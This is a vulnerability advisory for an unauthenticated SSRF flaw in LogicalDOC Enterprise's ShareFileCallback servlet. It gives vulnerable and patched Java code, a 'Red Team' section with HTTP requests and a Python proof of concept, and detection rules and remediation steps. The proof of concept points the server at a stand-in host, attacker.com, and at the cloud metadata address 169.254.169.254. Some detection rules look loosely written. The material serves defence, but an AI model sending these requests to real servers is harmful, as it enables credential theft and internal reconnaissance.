CVE-2025-45869

Executive Summary

CVE-2025-45869 is a critical Server-Side Request Forgery (SSRF) vulnerability in LogicalDOC Enterprise versions prior to v9.1.1. An unauthenticated attacker can exploit the ShareFileCallback servlet by manipulating input parameters to force the server into making requests to attacker-controlled hosts. This can lead to internal network reconnaissance, data exfiltration, or further lateral movement within the organization's infrastructure. The vulnerability has a CVSS v3.1 base score of 8.6 (High) due to its low attack complexity, no authentication requirements, and potential for high confidentiality impact. No public exploit code or Nuclei template is currently available, but the attack vector is well-understood and can be weaponized with minimal effort.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: High – Unauthenticated SSRF can lead to internal network scanning, access to cloud metadata endpoints (e.g., AWS, GCP), and potential pivot to internal services.

Deep Dive & Mechanics

The vulnerability resides in the ShareFileCallback servlet within LogicalDOC Enterprise. This servlet is designed to handle callbacks from external file-sharing services. The servlet accepts user-controlled parameters that specify a URL to which the server should send a callback request. Due to insufficient validation and sanitization of these parameters, an attacker can supply a malicious URL pointing to an internal or external host under their control.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to the vulnerable servlet endpoint (e.g., /ShareFileCallback).
2. The request includes parameters such as callbackUrl or similar, set to an attacker-controlled host (e.g., http://attacker.com/collect).
3. The LogicalDOC server processes the request and initiates an HTTP request to the specified URL.
4. The attacker can then capture the request, including any sensitive data sent by the server (e.g., session tokens, internal IP addresses, or file paths).
5. Alternatively, the attacker can target internal services (e.g., http://localhost:8080/admin, http://169.254.169.254/latest/meta-data/) to perform reconnaissance or access restricted resources.

Root Cause: The servlet fails to validate the scheme, host, or port of the user-supplied URL, allowing arbitrary outbound requests. No authentication is required to trigger the SSRF.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-v9.1.1):

// ShareFileCallbackServlet.java (simplified)
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
    String callbackUrl = req.getParameter("callbackUrl");
    // No validation of callbackUrl
    URL url = new URL(callbackUrl);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    // ... send request
}

Patched Code (v9.1.1):

// ShareFileCallbackServlet.java (simplified)
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
    String callbackUrl = req.getParameter("callbackUrl");
    // Validate URL
    if (!isValidUrl(callbackUrl)) {
        resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid callback URL");
        return;
    }
    // Additional checks: allow only HTTPS, block private IPs
    URL url = new URL(callbackUrl);
    if (!"https".equals(url.getProtocol()) || isPrivateIP(url.getHost())) {
        resp.sendError(HttpServletResponse.SC_FORBIDDEN, "URL not allowed");
        return;
    }
    // ... proceed with request
}

private boolean isValidUrl(String url) {
    // Implement whitelist of allowed domains or regex pattern
    return url != null && url.matches("^https://[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}/.*");
}

private boolean isPrivateIP(String host) {
    // Resolve host to IP and check if it's in private ranges
    InetAddress addr = InetAddress.getByName(host);
    return addr.isSiteLocalAddress() || addr.isLoopbackAddress();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• LogicalDOC Enterprise < v9.1.1 running on a target server.
• An attacker-controlled HTTP server (e.g., attacker.com) to receive callbacks.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target.com/ShareFileCallback.
2. Craft a request with a malicious callbackUrl parameter:

   GET /ShareFileCallback?callbackUrl=http://attacker.com/collect HTTP/1.1
   Host: target.com
   

3. Alternatively, target internal services:

   GET /ShareFileCallback?callbackUrl=http://169.254.169.254/latest/meta-data/ HTTP/1.1
   Host: target.com
   

4. Monitor your attacker server for incoming requests containing sensitive data.

Proof-of-Concept (Python):

import requests

target = "http://target.com/ShareFileCallback"
attacker_server = "http://attacker.com/collect"

# SSRF to external server
payload = {"callbackUrl": attacker_server}
response = requests.get(target, params=payload)
print(f"Status: {response.status_code}")

# SSRF to internal metadata endpoint
payload = {"callbackUrl": "http://169.254.169.254/latest/meta-data/"}
response = requests.get(target, params=payload)
print(f"Status: {response.status_code}")

Blue Team

Detection Steps:

1. Monitor outbound HTTP requests from the LogicalDOC server to unexpected external IPs or domains.
2. Look for requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or loopback (127.0.0.1).
3. Check server logs for unusual parameters in requests to /ShareFileCallback.
4. Implement network segmentation to restrict outbound traffic from the application server.

Hunting Query (Splunk):

index=web_logs source="/var/log/logicaldoc/access.log"
| search uri="/ShareFileCallback*"
| rex field=uri "callbackUrl=(?<callback_url>[^&\s]+)"
| eval decoded_url = urldecode(callback_url)
| search decoded_url IN ("*169.254.169.254*", "*localhost*", "*10.*", "*172.16.*", "*192.168.*")
| table _time, client_ip, uri, decoded_url

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from LogicalDOC server to unknown external IPs or domains.
  • Requests to cloud metadata IPs (169.254.169.254, 169.254.170.2).
  • Requests to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• File IOCs:
  • Suspicious entries in LogicalDOC access logs containing callbackUrl parameter with unusual URLs.
• Behavioral IOCs:
  • Unusual outbound connections from the LogicalDOC process (e.g., Java process making HTTP requests to non-standard ports).

Detection Engineering

YARA Rule

rule CVE_2025_45869_SSRF_LogicalDOC {
    meta:
        description = "Detects exploitation attempts of CVE-2025-45869 SSRF in LogicalDOC"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45869"
    strings:
        $s1 = "ShareFileCallback" ascii wide nocase
        $s2 = "callbackUrl" ascii wide nocase
        $s3 = "169.254.169.254" ascii wide
        $s4 = "localhost" ascii wide nocase
        $s5 = "10." ascii wide
        $s6 = "172." ascii wide
        $s7 = "192.168." ascii wide
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2025-45869 SSRF in LogicalDOC ShareFileCallback
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts via ShareFileCallback servlet in LogicalDOC
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "ShareFileCallback"
        cs-uri-query|contains: "callbackUrl"
    filter:
        cs-uri-query|contains:
            - "http://attacker.com"
            - "http://169.254.169.254"
            - "http://localhost"
            - "http://10."
            - "http://172."
            - "http://192.168."
    condition: selection and filter
falsepositives:
    - Legitimate use of callback feature with trusted external services
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-45869 SSRF in LogicalDOC ShareFileCallback"; flow:to_server; content:"ShareFileCallback"; http_uri; content:"callbackUrl"; http_uri; pcre:"/callbackUrl=http:\/\/(169\.254\.169\.254|localhost|10\.|172\.|192\.168\.)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LogicalDOC Enterprise to version 9.1.1 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF (Web Application Firewall) to block requests containing callbackUrl with private IPs or suspicious domains.
3. Restrict outbound network access from the LogicalDOC server using firewall rules (allow only necessary external services).

Long-Term Fixes:

• Implement strict input validation for all user-supplied URLs (allow only HTTPS, whitelist allowed domains).
• Use a URL allowlist for callback destinations.
• Disable the ShareFileCallback servlet if not required.
• Conduct regular security audits and penetration testing.

Workaround:

• Modify the application configuration to disable the callback feature entirely if not needed.

Valters IT